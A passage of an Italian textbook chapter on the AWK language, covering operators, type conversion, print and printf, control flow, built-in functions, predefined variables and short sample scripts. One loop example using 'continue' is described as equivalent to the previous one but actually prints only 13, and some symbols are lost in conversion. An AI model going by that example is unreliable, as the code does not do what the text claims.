Tabella 26.38. Sequenze di escape utilizzabili all'interno delle stringhe costanti.

Escape	Significato
`\\`	\
`\"`	"
`\/`	/

Escape	Significato
`\a`	*<BEL>*
`\b`	*<BS>*
`\f`	*<FF>*
`\n`	*<LF>*
`\r`	*<CR>*
`\t`	*<HT>*
`\v`	*<VT>*
`\`***nnn***	il valore ottale ***nnn***

AWK gestisce anche un tipo speciale di costante, che è da considerare come un tipo speciale di stringa: l'espressione regolare costante. Questa è una stringa delimitata all'inizio e alla fine da una barra obliqua normale. L'esempio seguente è un'espressione regolare che corrisponde alla sottostringa '**`ciao`**':

```
/ciao/
```

Anche le espressioni regolari costanti ammettono l'uso di sequenze di escape e precisamente le stesse che si possono usare per le stringhe.

In generale, un'espressione regolare costante può essere usata alla destra di un'espressione di comparazione, in cui si utilizza l'operatore '**`~`**' o '**`!~`**'. Nelle altre situazioni, salvo i pochi casi in cui un'espressione regolare costante può essere indicata come parametro di una funzione, AWK sottintende che questa esprima la comparazione con il record attuale, ovvero con '**`$0`**'.

26.6.3.2 Campi e Variabili

Le variabili sono espressioni elementari che restituiscono il valore che contengono. AWK gestisce una serie di variabili predefinite, che possono essere lette per conoscere delle informazioni sui dati in ingresso, oppure possono essere modificate per cambiare il comportamento di AWK. Oltre a queste si possono utilizzare le variabili che si vogliono; per farlo è sufficiente assegnare loro un valore, senza bisogno di definirne il tipo.

Se in un'espressione si fa riferimento a una variabile che non è mai stata assegnata, questa restituisce la stringa nulla ('**`""`**'), che in un contesto numerico equivale allo zero. In questo senso, non c'è bisogno di inizializzare le variabili prima di usarle, dal momento che è noto il loro valore iniziale.

Eventualmente, una variabile può essere inizializzata a un valore determinato già al momento dell'avvio dell'interprete, attraverso l'opzione '**`-v`**' che è già stata descritta.

I nomi delle variabili sono sensibili alla differenza che c'è tra la collezione alfabetica maiuscola e quella minuscola. In particolare si può osservare che, convenzionalmente, i nomi di tutte le variabili predefinite sono espressi con lettere maiuscole, mentre le variabili definite all'interno del programma tendono a essere espresse utilizzando prevalentemente lettere minuscole.

All'interno di un programma AWK, i riferimenti ai campi del record attuale si fanno attraverso la forma '`$`***n***', dove ***n*** rappresenta il campo ***n***-esimo. Il riferimento a un campo può essere ottenuto anche utilizzando il risultato di un'espressione, quando questa è preceduta dal dollaro. In particolare, è ammissibile anche l'assegnamento di un valore a un campo, per quanto questo sia una pratica sconsigliabile, dal momento che questo fatto non ha alcun significato nei confronti dei dati originali.

26.6.3.3 Operazioni e operatori

Gli operatori usati per le espressioni numeriche sono più o meno gli stessi del linguaggio C. Per quanto riguarda le stringhe, è previsto il concatenamento, che si ottiene senza alcun operatore esplicito, affiancando variabili o costanti stringa. Inoltre, dovendo gestire le espressioni regolari, si aggiungono due operatori speciali per il confronto di queste con delle stringhe. La tabella 26.40 raccoglie l'elenco degli operatori disponibili in AWK.

Tabella 26.40. Riepilogo degli operatori principali utilizzabili nelle espressioni di AWK.

Operatore e operandi	Descrizione
`(`***espressione***`)`	Valuta l'espressione contenuta tra parentesi prima di analizzare la parte esterna.
`++`***op***	Incrementa di un'unità l'operando prima che venga restituito il suo valore.
op`++`	Incrementa di un'unità l'operando dopo averne restituito il suo valore.
`--`***op***	Decrementa di un'unità l'operando prima che venga restituito il suo valore.
op`--`	Decrementa di un'unità l'operando dopo averne restituito il suo valore.
`+`***op***	Non ha alcun effetto dal punto di vista numerico.
`-`***op***	Inverte il segno dell'operando numerico.
op1 `+` ***op2***	Somma i due operandi numerici.
op1 `-` ***op2***	Sottrae dal primo il secondo operando numerico.
op1 `*` ***op2***	Moltiplica i due operandi numerici.
op1 `/` ***op2***	Divide il primo operando per il secondo.
op1 `%` ***op2***	Modulo: il resto della divisione tra il primo e il secondo operando.
op1 `^` ***op2***	Esponente: eleva il primo operando alla potenza del secondo.
var `=` ***valore***	Assegna alla variabile il valore alla destra e restituisce lo stesso valore.

<table>
<tr><th>Operatore e operandi</th><th>Descrizione</th></tr>
<tr><td>op1 += op2</td><td>op1 = op1 + op2</td></tr>
<tr><td>op1 -= op2</td><td>op1 = op1 - op2</td></tr>
<tr><td>op1 *= op2</td><td>op1 = op1 * op2</td></tr>
<tr><td>op1 /= op2</td><td>op1 = op1 / op2</td></tr>
<tr><td>op1 %= op2</td><td>op1 = op1 % op2</td></tr>
<tr><td>op1 ^= op2</td><td>op1 = op1 ^ op2</td></tr>
<tr><td>op1 && op2</td><td>AND logico, con cortocircuito.</td></tr>
<tr><td>op1 || op2</td><td>OR logico, con cortocircuito.</td></tr>
<tr><td>! op</td><td>NOT logico.</td></tr>
<tr><td>op1 > op2</td><td>Vero se il primo operando è maggiore del secondo.</td></tr>
<tr><td>op1 >= op2</td><td>Vero se il primo operando è maggiore o uguale al secondo.</td></tr>
<tr><td>op1 < op2</td><td>Vero se il primo operando è minore del secondo.</td></tr>
<tr><td>op1 <= op2</td><td>Vero se il primo operando è minore o uguale al secondo.</td></tr>
<tr><td>op1 == op2</td><td>Vero se i due operandi sono uguali.</td></tr>
<tr><td>op1 != op2</td><td>Vero se i due operandi sono diversi.</td></tr>
<tr><td>stringa ~ regexp</td><td>Vero se l'espressione regolare ha una corrispondenza con la stringa.</td></tr>
<tr><td>stringa !~ regexp</td><td>Vero se l'espressione regolare non ha alcuna corrispondenza.</td></tr>
<tr><td>stringa1 stringa2</td><td>Concatena le due stringhe.</td></tr>
</table>

Un tipo particolare di operatore logico è l'operatore condizionale, che permette di eseguire espressioni diverse in relazione al risultato di una condizione. La sua sintassi si esprime nel modo seguente:

```
condizione ? espressione1 : espressione2
```

In pratica, se l'espressione che rappresenta la condizione si avvera, viene eseguita la prima espressione che segue il punto interrogativo, altrimenti viene eseguita quella che segue i due punti.

Per quanto riguarda il confronto tra stringhe ed espressioni regolari, si deve tenere presente che lo scopo è solo quello di conoscere se c'è o meno una corrispondenza tra il modello e la stringa. Inoltre, è molto importante tenere in considerazione il fatto che un'espressione rego-

lare costante, che non si trovi alla destra di un operatore '**~**', o '**!~**', viene interpretata come una forma contratta dell'espressione '**$0 ~/*regexp*/**', ovvero, si considera un confronto con il record attuale.

26.6.3.4 Conversione tra stringhe e numeri

Come è già stato descritto, AWK gestisce solo due tipi di dati: stringhe e numeri (reali). In base al contesto, i numeri vengono convertiti in stringhe e viceversa, solitamente in modo abbastanza trasparente. In particolare, una stringa che non possa essere interpretata come un numero, equivale a zero.

In generale, il concatenamento di stringhe, impone una trasformazione in stringa, mentre l'uso di operatori aritmetici impone una trasformazione in numero. Si osservi l'esempio:

```
uno = 1
due = 2
(uno due) + 3
```

Si tratta di tre istruzioni in sequenza, dove le prime due assegnano un valore numerico ad altrettante variabili, mentre l'ultima fa qualcosa di incredibile: concatena le due variabili, che di conseguenza vengono trattate come stringhe, generando la stringa '**"12"**'; quindi, la stringa viene riconvertita in numero, a causa dell'operatore '**+**', che richiede la somma con il numero tre. Alla fine, il risultato dell'ultima espressione è il numero 15.

La conversione da numero a stringa è banale quando si tratta di numeri interi, dal momento che il risultato è una stringa composta dalle stesse cifre numeriche che si utilizzano per rappresentare un numero intero. Al contrario, in presenza di numeri con valori decimali, entra in gioco una conversione per mezzo della funzione ***sprintf()*** (equivalente a quella del linguaggio C), che utilizza la stringa di formato contenuta nella variabile predefinita ***CONVFMT***. Di solito, questa variabile contiene il valore '**"%.6g"**', che indica una precisione fino a sei cifre dopo la virgola, e una notazione che può essere esponenziale, oppure normale ('***intero*.*decimale***'), in base alla necessità. Le tabelle 26.42 e 26.43 riepilogano i simboli utilizzabili nelle stringhe di formato di ***sprintf()***. Eventualmente, per una descrizione più dettagliata, si può leggere la pagina di manuale *sprintf(3)*.

Tabella 26.42. Elenco dei simboli utilizzabili in una stringa formattata per l'utilizzo con ***sprintf()***.

Simbolo	Corrispondenza
`%%`	Segno di percentuale.
`%c`	Un carattere corrispondente al numero dato.
`%s`	Una stringa.
`%d` | `%i`	Un intero con segno in base dieci.
`%o`	Un intero senza segno in ottale.
`%x`	Un intero senza segno in esadecimale.
`%X`	Come '**%x**', ma con l'uso di lettere maiuscole.

Simbolo	Corrispondenza
`%e`	Un numero a virgola mobile, in notazione scientifica.
`%E`	Come '**`%e`**', ma con l'uso della lettera '**`E`**' maiuscola.
`%f`	Un numero a virgola mobile, in notazione decimale fissa.
`%g`	Un numero a virgola mobile, secondo la notazione di '**`%e`**' o '**`%f`**'.
`%G`	Come '**`%g`**', ma con l'uso della lettera '**`E`**' maiuscola (se applicabile).

Tabella 26.43. Elenco dei simboli utilizzabili tra il segno di percentuale e la lettera di conversione.

Simbolo	Corrispondenza
spazio	Il prefisso di un numero positivo è uno spazio.
`+`	Il prefisso di un numero positivo è il segno '**`+`**'.
`-`	Allinea a sinistra rispetto al campo.
`0`	Utilizza zeri, invece di spazi, per allineare a destra.
`#`	Prefissa un numero ottale con uno zero e un numero esadecimale con '**`0x`**'.
n	Un numero definisce la dimensione minima del campo.
`.`***n***	Per i numeri interi indica il numero minimo di cifre.
`.`***n***	Per i numeri a virgola mobile esprime la precisione, ovvero il numero di decimali.
`.`***n***	Per le stringhe definisce la lunghezza massima.

In generale, sarebbe bene non modificare il valore predefinito della variabile ***CONVFMT***, soprattutto non è il caso di ridurre la precisione della conversione, dal momento che la perdita di informazioni che ne deriverebbe, potrebbe creare anche dei gravi problemi a un programma. In altri termini, il formato di conversione condiziona la precisione dei valori che possono essere gestiti in un programma AWK.

26.6.3.5 Esempi di espressioni

Prima di proseguire con la descrizione del linguaggio AWK vengono mostrati alcuni esempi di programmi banali, in cui tutto si concentra sulla definizione delle espressioni per stabilire la selezione dei record. L'azione che si abbina è molto semplice: l'emissione del record selezionato attraverso l'istruzione '**`print`**'.

```
$ ls -l /etc | awk '$1 == "-rw-r--r--" { print $0 }' [Invio]
```

L'esempio appena mostrato fornisce all'interprete AWK il programma come argomento nella riga di comando. Come si vede, il risultato del comando '**`ls -l /etc`**' viene incanalato

attraverso un condotto, fornendolo in ingresso al programma AWK, che si limita a selezionare i record in cui il primo campo corrisponde esattamente alla stringa '**"-rw-r--r--"**'. In pratica, vengono selezionati i record contenenti informazioni sui file che hanno solo i permessi 0644_8. L'esempio seguente ottiene lo stesso risultato, attraverso la comparazione con un'espressione regolare:

$ **ls -l /etc | awk '$1 ~ /-rw-r--r--/ { print $0 }'** [*Invio*]

I due esempi successivi sono equivalenti e servono a selezionare tutti i record che non corrispondono al modello precedente:

$ **ls -l /etc | awk '!($1 == "-rw-r--r--") { print $0 }'** [*Invio*]

$ **ls -l /etc | awk '!($1 ~ /-rw-r--r--/) { print $0 }'** [*Invio*]

L'esempio seguente utilizza due espressioni, per attivare e disattivare la selezione dei record:

$ **awk '$0 ~ /\/*/, $0 ~ /*\// { print $0 }' prova.c** [*Invio*]

In questo caso, i dati in ingresso provengono dal file '`prova.c`', che si intende essere un programma scritto in linguaggio C. Le due espressioni servono a selezionare le righe che contengono commenti nella forma '**/*...*/**'. Si osservi l'uso della barra obliqua inversa per proteggere i caratteri che altrimenti sarebbero stati interpretati diversamente.

La variante seguente è funzionalmente identica all'esempio precedente, dal momento che un'espressione regolare costante da sola, equivale a un'espressione in cui questa si paragona al record attuale:

$ **awk '/\/*/, /*\// { print $0 }' prova.c** [*Invio*]

26.6.4 Istruzioni

Nel linguaggio AWK, le istruzioni possono apparire nell'ambito della dichiarazione delle azioni abbinate a un certo criterio di selezione dei record, oppure nel corpo della dichiarazione di una funzione.

Le istruzioni di AWK terminano normalmente alla fine della riga, salvo quando nella parte finale della riga appare una virgola ('**,**'), una parentesi graffa aperta ('**{**'), una doppia e-commerciale ('**&&**'), o una doppia barra verticale ('**||**'). Eventualmente, per continuare un'istruzione nella riga successiva, si può utilizzare una barra obliqua inversa esattamente alla fine della riga, come simbolo di continuazione ('****').

Un'istruzione può essere terminata esplicitamente con un punto e virgola finale ('**;**'), in modo da poter collocare più istruzioni in sequenza sulla stessa riga.

Come è già stato descritto, le righe vuote e quelle bianche vengono ignorate; inoltre, ciò che è preceduto dal simbolo '**#**', fino alla fine della riga, è considerato un commento.

Le istruzioni di AWK possono essere delle espressioni di assegnamento, delle chiamate di funzione, oppure delle strutture di controllo.

26.6.4.1 Istruzioni fondamentali

Le istruzioni fondamentali di AWK sono quelle che permettono di emettere del testo attraverso lo standard output. Si tratta di due funzioni, che però possono essere usate anche in forma di «operatori»: '**print**' e '**printf**'. La prima di queste due permette l'emissione di una o più stringhe, mentre la seconda permette di definire una stringa in base a un formato indicato, emettendone poi il risultato. In pratica, '**printf**' si comporta in modo analogo alla funzione omonima del linguaggio C.

```
print
```

```
print espressione_1 [, espressione_1]...
```

```
print( espressione_1 [, espressione_1]...)
```

Quelli che si vedono sono gli schemi sintattici della funzione (o istruzione) '**print**'. Se non vengono specificati degli argomenti (ovvero dei parametri), si ottiene l'emissione del testo del record attuale. Se invece vengono indicati degli argomenti, questi vengono emessi in sequenza, inserendo tra l'uno e l'altro il carattere definito dalla variabile ***OFS*** (*Output field separator*), che di solito corrisponde a uno spazio normale. In tutti i casi, il testo emesso da '**print**' termina con l'inserimento del carattere contenuto nella variabile ***ORS*** (*Output record separator*), che di solito corrisponde al codice di interruzione di riga.

In altri termini, nel primo caso viene emessa la stringa corrispondente al concatenamento '**$0 ORS**'; nel secondo e nel terzo viene emessa la stringa corrispondente al concatenamento '***espressione_1*** **OFS** ***espressione_2*** **OFS** ... ***espressione_n*** **ORS**'.

```
printf stringa_di_formato, espressione_1 [, espressione_2]...
```

```
printf( stringa_di_formato, espressione_1 [, espressione_2]... )
```

L'istruzione, ovvero la funzione '**printf**', si comporta come la sua omonima del linguaggio C: il primo argomento è una stringa di formato, contenente una serie di simboli che iniziano con il carattere '**%**', che vanno rimpiazzati ordinatamente con gli argomenti successivi. Le tabelle 26.42 e 26.43 riepilogano i simboli utilizzabili nelle stringhe di formato di '**sprintf**'. Eventualmente, per una descrizione più dettagliata, si può leggere la pagina di manuale *sprintf(3)*.

A differenza di '**print**', '**printf**' non fa uso delle variabili ***OFS*** e ***ORS***, dal momento che quello che serve può essere inserito tranquillamente nella stringa di formato (il carattere <*LF*>, corrispondente al codice di interruzione di riga, viene indicato con la sequenza di escape '**\n**').

26.6.4.2 Ridirezione dell'output

L'output generato dalle istruzioni '**print**' e '**printf**' può essere ridiretto all'interno del programma AWK stesso, utilizzando gli operatori '**>**', '**>>**' e '**|**'. Ciò permette di ridirigere i dati verso file differenti; diversamente, converrebbe intervenire all'esterno del programma, per mezzo del sistema operativo.

print ... > *file*

printf ... > *file*

print ... >> *file*

printf ... >> *file*

print ... | *comando*

printf ... | *comando*

Utilizzando l'operatore '**>**' si ridirigono i dati verso un file, che viene azzerato inizialmente, oppure viene creato per l'occasione; con l'operatore '**>>**' si accodano dati a un file già esistente; con l'operatore '**|**' si inviano dati allo standard input di un altro comando. È importante osservare che i file e i comandi in questione, vanno indicati in una stringa. Si osservino gli esempi seguenti:

```
# annota il secondo campo nel file /tmp/prova
print $2 > "/tmp/prova"
```

```
# accoda il secondo campo nel file /tmp/prova
print $2 >> "/tmp/prova"
```

```
# definisce un comando per riordinare i dati e salvarli nel file
# /tmp/prova
comando = "sort > /tmp/prova"
#seleziona alcuni campi e poi invia al comando di riordino
print $2 $4 $5 | comando
```

26.6.4.3 Strutture di controllo di flusso

Il linguaggio AWK offre alcune strutture di controllo di flusso comuni agli altri linguaggi di programmazione. In particolare, come nel linguaggio C, è possibile raggruppare alcune istruzioni delimitandole con le parentesi graffe ('**{...}**').

Le strutture di controllo permettono di sottoporre l'esecuzione di una parte di codice alla verifica di una condizione, oppure permettono di eseguire dei cicli, sempre sotto il controllo di una condizione. La parte di codice che viene sottoposta a questo controllo, può essere un'istruzione singola, oppure un gruppo di istruzioni. Nel secondo caso, è necessario delimitare questo gruppo attraverso l'uso delle parentesi graffe, a cui si è appena accennato.

Dal momento che è comunque consentito di realizzare un gruppo di istruzioni che in realtà ne contiene una sola, probabilmente è meglio utilizzare sempre le parentesi graffe, in modo da evitare equivoci nella lettura del codice (dato che le parentesi graffe sono usate nel linguaggio AWK, se queste appaiono nei modelli sintattici indicati, queste fanno parte delle istruzioni e non della sintassi).

La tabella 26.47 riassume la sintassi di queste strutture, la maggior parte delle quali dovrebbero essere già note dal linguaggio C, o da altri linguaggi simili.

Tabella 26.47. Istruzioni per le strutture di controllo del flusso in AWK.

Sintassi	Descrizione
`{`*istruzioni*`}`	Raggruppa assieme alcune istruzioni.
`if (`*condizione*`)` *istruzione* [`else` *istruzione*]	Struttura condizionale.
`while (`*condizione*`)` *istruzione*	Ciclo iterativo con condizione iniziale.
`do` *istruzione* `while (`*condizione*`)`	Ciclo iterativo con condizione alla fine.
`for (` *espr_1*`;` *espr_2*`;` *espr_3*`)` *istruzione*	Ciclo enumerativo.
`break`	Interrompe un ciclo iterativo o enumerativo.
`continue`	Riprende un ciclo iterativo o enumerativo.
`exit` [*espressione*]	Termina il programma restituendo il valore dell'argomento.
`next`	legge il prossimo record.

Data la natura di AWK, esiste un'istruzione particolare: '**next**'. Questa serve a passare immediatamente al record successivo. Segue la descrizione di alcuni esempi.

- ```
  if ( $1 > 100 ) print $2
  ```
  Se il primo campo del record attuale contiene un valore numerico superiore a 100, emette il contenuto del secondo campo.
  ```

- ```
  if ( $1 > 100 ) {
      print $2
      contatore++
  } else {
      print $3
  }
  ```
  Se il primo campo del record attuale contiene un valore numerico superiore a 100, emette il contenuto del secondo campo, incrementando la variabile ***contatore*** di un'unità. Altrimenti, emette solo il contenuto del terzo campo.

- ```
  i = 1
  while (i <= 10) {
      print i
      i++
  }
  ```
  Emette i numeri da 1 a 10.

- ```
  for ( i = 1; i <= 10; i++ ) {
      print i
  }
  ```
  Esattamente come nell'esempio precedente, utilizzando un ciclo enumerativo.

- ```
  for ( i = 1; i <= 20; i++ ) {
      if ( i != 13 ) {
          print i
      }
  }
  ```
  Emette i numeri da 1 a 20, escluso il 13.

- ```
  for ( i = 1; i <= 20; i++ ) {
      if ( i != 13 ) {
          continue
      }
      print i
  }
  ```
  Come nell'esempio precedente, utilizzando una tecnica diversa (l'istruzione '**`continue`**' fa riprendere il ciclo prima di avere completato le altre istruzioni).

- ```
  i = 1
  while (1) {
      if ( i > 10 ) {
          break
      }
      print i
      i++
  }
  ```

Emette i numeri da 1 a 10, utilizzando un ciclo iterativo perpetuo (il numero uno equivale a *Vero* per AWK), che viene interrotto dall'istruzione '**`break`**'.

26.6.4.4 Chiamata di funzione e funzioni predefinite

La chiamata di una funzione avviene come nel linguaggio C, tenendo conto che per evitare ambiguità, è importante mettere sempre la parentesi iniziale del gruppo dei parametri, attaccata al nome della funzione stessa:

```
funzione(elenco_parametri)
```

I parametri sono separati attraverso delle virgole, tenendo conto che in linea di principio si possono omettere quelli finali (si possono omettere tutti i parametri a partire da una certa posizione). I parametri che non vengono forniti sono equivalenti a stringhe nulle; in certi casi ci sono funzioni predisposte per riconoscere la mancata indicazione di tali informazioni, che così gestiscono attribuendo valori predefiniti.

Come nel linguaggio C, il passaggio dei parametri avviene per valore (salvo eccezioni), per cui i parametri in una chiamata possono essere delle espressioni più o meno articolate, che vengono valutate (senza un ordine preciso) prima della chiamata stessa.

Di seguito vengono descritte brevemente le funzioni interne (predefinite) di AWK. In particolare, le funzioni numeriche comuni sono elencate nella tabella 26.55.

Tabella 26.55. Elenco delle funzioni numeriche principali.

Funzione	Descrizione.
`atan2(y, x)`	Arcotangente di y/x in radianti.
`cos(x)`	Coseno di x espresso in radianti.
`exp(x)`	Funzione esponenziale (e^x).
`int(x)`	Parte intera di un numero reale.
`log(x)`	Logaritmo naturale (base e).
`rand()`	Numero casuale compreso tra zero e uno.
`sin(x)`	Seno di x espresso in radianti.
`sqrt(x)`	Radice quadrata di x.

```
index( stringa, sottostringa_cercata )
```

La funzione ***index()*** cerca la stringa indicata come secondo parametro nella stringa indicata come primo, cominciando da sinistra. Se trova la corrispondenza, restituisce la posizione iniziale di questa, altrimenti restituisce zero.

```
index( "Tizio", "zio" )
```

L'espressione mostrata come esempio, restituisce il valore tre, corrispondente al primo carattere in cui si ottiene la corrispondenza della stringa '`zio`' in '`Tizio`'.

length([*stringa*])

La funzione ***length()*** restituisce la lunghezza della stringa fornita come parametro, oppure, in sua mancanza, la lunghezza di '`$0`', ovvero del record attuale. Si osservino gli esempi.

```
length( "Tizio" )
```

Restituisce il valore cinque, dal momento che la stringa è composta da cinque caratteri.

```
length( 10 * 5 )
```

Dal momento che il parametro della funzione è un'espressione numerica, prima calcola il valore di questa espressione, ottenendo il numero 50, quindi lo trasforma in stringa e restituisce il valore due. In pratica, il numero 50 espresso in stringa è lungo due caratteri.

match(***stringa***, ***regexp***)

La funzione ***match()*** cerca una corrispondenza per l'espressione regolare fornita come secondo parametro, con la stringa che appare come primo parametro. L'espressione regolare dovrebbe poter essere fornita in forma costante, senza che questo fatto venga inteso come un confronto implicito con il record attuale.

Se il confronto ha successo, viene restituita la posizione in cui inizia la corrispondenza nella stringa; inoltre, le variabili predefinite ***RSTART*** e ***RLENGTH*** vengono impostate rispettivamente a questa posizione e alla lunghezza della corrispondenza. Se il confronto fallisce, la funzione restituisce il valore zero e così viene impostata la variabile ***RSTART***, mentre ***RLENGTH*** riceve il valore −1.

sprintf(***stringa_di_formato***, ***espressione*** [,...])

La funzione ***sprintf()*** restituisce una stringa in base alla stringa di formato indicata come primo parametro, in cui le metavariabili '`%...`' vengono sostituite, nell'ordine, dai parametri successivi. Le metavariabili in questione sono state elencate nelle tabelle 26.42 e 26.43.

```
importo = 10000
sprintf( "Il totale è di EUR %i + IVA", importo )
```

L'espressione finale dell'esempio restituisce la stringa: «Il totale è di EUR 10000 + IVA».

sub(***regexp***, ***rimpiazzo*** [, ***stringa_da_modificare***])

La funzione ***sub()***, cerca all'interno della stringa fornita come ultimo parametro, oppure all'interno del record attuale, la prima corrispondenza con l'espressione regolare indicata come primo parametro. Quindi, sostituisce quella corrispondenza con la stringa fornita come secondo parametro. L'espressione regolare dovrebbe poter essere fornita in forma costante, senza che questo fatto venga inteso come un confronto implicito con il record attuale.

L'ultimo parametro deve essere una variabile, dal momento che viene passata per riferimento e il suo contenuto deve essere modificato dalla funzione.

La stringa di sostituzione (il secondo parametro), può contenere il simbolo '**&**', che in tal caso viene sostituito con la sottostringa per la quale si è avverata la corrispondenza con l'espressione regolare. Volendo inserire una e-commerciale letterale, si deve usare la sequenza '**\&**'.

L'indicazione di una e-commerciale letterale può essere un problema. In generale sarebbe meglio evitarlo. In ogni caso, è necessario leggere la documentazione specifica per il tipo di interprete AWK che si utilizza, per sapere come comportarsi esattamente.

La funzione ***sub()*** restituisce il numero di sostituzioni eseguite, pertanto può trattarsi del valore uno o di zero.

```
frase = "ciao, come stai?"
sub( /ciao/, "salve", frase )
```

L'espressione finale dell'esempio restituisce il valore uno, dal momento che la sostituzione ha luogo, mentre la variabile ***frase*** contiene alla fine la stringa: «salve, come stai?».

```
frase = "ciao, come stai?"
sub( /ciao/, "& amico", frase )
```

Questo esempio riutilizza la sottostringa della corrispondenza, attraverso il riferimento ottenuto con la e-commerciale. Alla fine, la variabile ***frase*** contiene: «ciao amico, come stai?».

gsub(***regexp***, ***rimpiazzo*** [, ***stringa_da_modificare***])

La funzione ***gsub()***, cerca all'interno della stringa fornita come ultimo parametro, oppure all'interno del record attuale, tutte le corrispondenze con l'espressione regolare indicata come primo parametro. Quindi, sostituisce quelle corrispondenze con la stringa fornita come secondo parametro. In pratica, si tratta di una variante di ***sub()***, in cui la sostituzione avviene in modo «globale». Valgono tutte le altre considerazioni fatte sulla funzione ***sub()***.

substr(***stringa***, ***inizio*** [, ***lunghezza***])

La funzione ***substr()*** restituisce una sottostringa di quanto fornito come primo parametro, prendendo ciò che inizia dalla posizione del secondo parametro, per una lunghezza pari al terzo parametro, oppure, fino alla fine della stringa di partenza.

```
substr( "ciao come stai", 6, 4 )
```

L'espressione dell'esempio restituisce la stringa «come».

```
tolower( stringa )
```

La funzione ***tolower()*** restituisce la stringa fornita come parametro trasformata utilizzando solo lettere minuscole.

```
toupper( stringa )
```

La funzione ***toupper()*** restituisce la stringa fornita come parametro trasformata utilizzando solo lettere maiuscole.

26.6.5 Variabili predefinite

La tabella 26.63 riepiloga le variabili predefinite principali di AWK. In particolare, sono state escluse quelle che riguardano la gestione degli array.

Tabella 26.63. Elenco delle variabili predefinite principali di AWK.

Variabile	Descrizione
`CONVFMT`	Formato di conversione da numero a stringa.
`FILENAME`	Nome del file attuale in ingresso, oppure '`-`'.
`FNR`	Numero del record attuale nel file attuale.
`FS`	Separatore dei campi in lettura.
`NF`	Numero totale dei campi nel record attuale.
`NR`	Numero totale dei record letti fino a questo punto.
`OFMT`	Formato di emissione dei numeri (di solito si tratta di '`%.6g`').
`OFS`	Separatore dei campi per '`print`'.
`ORS`	Separatore dei record per '`print`'.
`RS`	Separatore dei record in lettura.
`RSTART`	Utilizzata da ***match()*** per annotare l'inizio di una corrispondenza.
`RLENGTH`	Utilizzata da ***match()*** per annotare la lunghezza di una corrispondenza.

È il caso di ribadire alcuni concetti fondamentali riferiti alle variabili ***FS*** e ***RS***.

- I record in ingresso sono distinti in base al contenuto della variabile ***RS***. Per restare ade-

renti allo standard POSIX, questa può contenere un carattere, oppure la stringa nulla. Di solito, la variabile ***RS*** contiene il carattere <*LF*>, ovvero il codice di interruzione di riga comune nei sistemi Unix. Nel caso in cui sia indicata la stringa nulla, si è di fronte a una situazione particolare: i record sono separati da una o più righe bianche o vuote.

- I campi dei record in ingresso sono distinti in base al contenuto della variabile ***FS***. Questa variabile può contenere un carattere singolo, oppure un'espressione regolare (senza delimitatori). La corrispondenza con il carattere, o con l'espressione regolare rappresenta ciò che viene considerato il separatore dei campi. Di solito, la variabile ***FS*** contiene il carattere <*SP*>, ovvero lo spazio, che costituisce una situazione particolare: la separazione tra i campi è ottenuta inserendo qualunque spazio orizzontale (<*SP*> o <*HT*>), di qualunque lunghezza. Questa eccezione permette di leggere agevolmente i listati tabellari in cui i dati sono incolonnati in qualche modo, attraverso spaziature più o meno ampie.

26.6.6 Esempi

Gli esempi che vengono mostrati qui sono molto banali e sono tratti prevalentemente da *Effective AWK Programming* di Arnold D. Robbins. Tuttavia, qui sono mostrati come script autonomi, utilizzando una notazione che potrebbe sembrare ridondante, ma che può essere utile per non confondere il principiante. Trattandosi di script autonomi, questi ricevono i dati in ingresso solo attraverso lo standard input.

```
#!/usr/bin/awk -f
1 {
    if (length($0) > max) {
        max = length($0)
    }
}
END {
    print max
}
```

Questo esempio serve a trovare la riga di lunghezza massima di un file di testo normale. In pratica, viene scandito ogni record e viene memorizzata la sua lunghezza se questa risulta superiore all'ultima misurazione effettuata. Alla fine viene emesso il contenuto della variabile che è stata usata per annotare questa informazione.

```
#!/usr/bin/awk -f
length($0) > 80 { print $0 }
```

Questo esempio emette tutte le righe di un file di testo che superano la lunghezza di 80 caratteri.

```
#!/usr/bin/awk -f
NF > 0 { print $0 }
```

In questo caso vengono emesse tutte le righe di un file di testo che hanno almeno un campo. In pratica, vengono escluse le righe bianche e quelle vuote.

```
#!/usr/bin/awk -f
1 { totale += $5 }
END { print "totale:" totale "byte" }
```

Questo programma è fatto per sommare i valori del quinto campo di ogni record. In pratica, si tratta di incanalare nel programma il risultato di un comando '**`ls -l`**', in modo da ottenere il totale in byte.

```
#!/usr/bin/awk -F : -f
1 { print $1 }
```

Questo programma è banale, ma ha qualcosa di speciale: la riga iniziale indica che si tratta di uno script di '`/usr/bin/awk`', che deve essere avviato con le opzioni '**`-F : -f`**'. In pratica, rispetto al solito, è stata aggiunta l'opzione '**`-F :`**', con la quale si specifica che la separazione tra i campi dei record è data dal carattere '`:`'. Il programma, di per sé, è fatto per leggere un file composto da righe separate in questo modo, come nel caso di '`/etc/passwd`', allo scopo di emettere solo il primo campo, che, sempre nel caso si tratti di '`/etc/passwd`', corrisponde al nominativo-utente.

```
#!/usr/bin/awk -F : -f
BEGIN { print "Gli utenti seguenti accedono senza parola d'ordine:" }
$2 == "" { print $1 }
```

Si tratta di una variante dell'esempio precedente, dove si presume che i dati in ingresso provengano sicuramente dal file '`/etc/passwd`'. In questo caso, vengono visualizzati i nomi degli utenti che non hanno una parola d'ordine nel secondo campo.

```
#!/usr/bin/awk -f
END { print NR }
```

Legge il file fornito attraverso lo standard input ed emette il numero complessivo di record che lo compongono.

```
#!/usr/bin/awk -f
(NR % 2) == 0 { print }
```

In questo caso, vengono emessi solo i record pari. In pratica, l'espressione '**`(NR % 2) == 0`**' si avvera solo quando non c'è resto nella divisione della variabile ***NR*** per due.

26.6.7 Dichiarazione di funzioni

Un programma AWK può contenere la dichiarazione di funzioni definite liberamente. Queste dichiarazioni vanno fatte al di fuori delle regole normali. La dichiarazione di una funzione avviene in modo simile al linguaggio C, con la differenza che non si dichiara il tipo restituito dalla funzione e nemmeno quello delle variabili che ricevono i valori della chiamata.

```
function nome_della_funzione ( elenco_parametri_formali ) {
    istruzioni
}
```

La parentesi tonda aperta che introduce l'elenco dei parametri formali, **deve essere attaccata alla fine del nome della funzione che viene dichiarata**. L'elenco dei parametri formali è in pratica un elenco di nomi di variabili locali, che ricevono il valore dei parametri corrispondenti nella chiamata. Se una chiamata di funzione utilizza meno parametri di quelli che sono disponibili, le variabili corrispondenti ricevono in pratica la stringa nulla.

È importante osservare che non è possibile dichiarare altre variabili locali, oltre a quelle che appaiono nell'elenco dei parametri formali.

```
function fattoriale(x) {
    i = x - 1
    while ( i > 0 ) {
        x *= i
        i--
    }
    return x
}
```

